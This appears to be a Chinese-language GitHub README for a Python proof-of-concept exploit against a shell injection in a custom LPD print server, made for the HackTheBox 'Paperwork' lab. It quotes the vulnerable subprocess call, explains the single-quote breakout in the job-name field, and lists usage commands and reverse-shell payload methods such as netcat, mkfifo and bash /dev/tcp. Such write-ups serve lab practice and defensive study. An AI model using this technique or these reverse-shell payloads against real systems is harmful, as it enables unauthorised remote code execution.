Noz2/Digital-Archiving-Solutions-v1.02-RCE

GitHub: Noz2/Digital-Archiving-Solutions-v1.02-RCE

针对自定义 LPD 服务器 shell 注入漏洞的精准 Python 漏洞利用工具,通过单引号突破作业名称字段实现远程代码执行。

Stars: 0 | Forks: 0

# LPD Shell 注入 — RCE 漏洞利用 (RFC 1179) 一个精准的 Python 漏洞利用程序,针对自定义 LPD (Line Printer Daemon) 服务器中的 shell 注入漏洞。 测试环境:**HackTheBox — Paperwork** ## 这是什么? 易受攻击的服务器会将未经过滤的打印作业名称直接传递给 shell 命令: ``` subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True) ``` 这允许通过 **单引号突破** 来实现远程代码执行 (RCE): ## 用法 ``` # 自动尝试所有 reverse shell payloads python3 poc.py TARGET --lhost YOUR_IP --lport 443 # 单个特定 payload python3 poc.py TARGET --lhost YOUR_IP --lport 443 --payload mkfifo # 测试 RCE 而无需 listener(在目标上写入 /tmp/rce_proof.txt) python3 poc.py TARGET --proof ``` ## 可用的 Payload | 标志 | 方法 | |------|--------| | `mkfifo` | mkfifo + netcat(最稳定) | | `nc_e` | 带有 -e 标志的 netcat | | `nc_c` | 带有 -c 标志的 netcat | | `python3` | Python3 socket + pty shell | | `python` | Python2 socket + pty shell | | `bash` | bash /dev/tcp 重定向 | ## 协议详情 (RFC 1179 / LPD) - 默认通过 **1515** 端口连接到目标 - 将打印作业发送到 `archive_intake` 队列 - 将 payload 注入到 LPD 控制文件的 `J` (作业名称) 字段中 - 服务器通过 `subprocess.Popen(..., shell=True)` 执行注入的命令 ## 环境要求 ``` pip install nothing # pure Python, no dependencies python3 poc.py --help ``` ## 免责声明 仅供**授权测试**使用。专为 HackTheBox 实验室环境构建。
标签:LPD协议, Python, Shell注入, 无后门, 编程工具, 远程代码执行, 逆向工具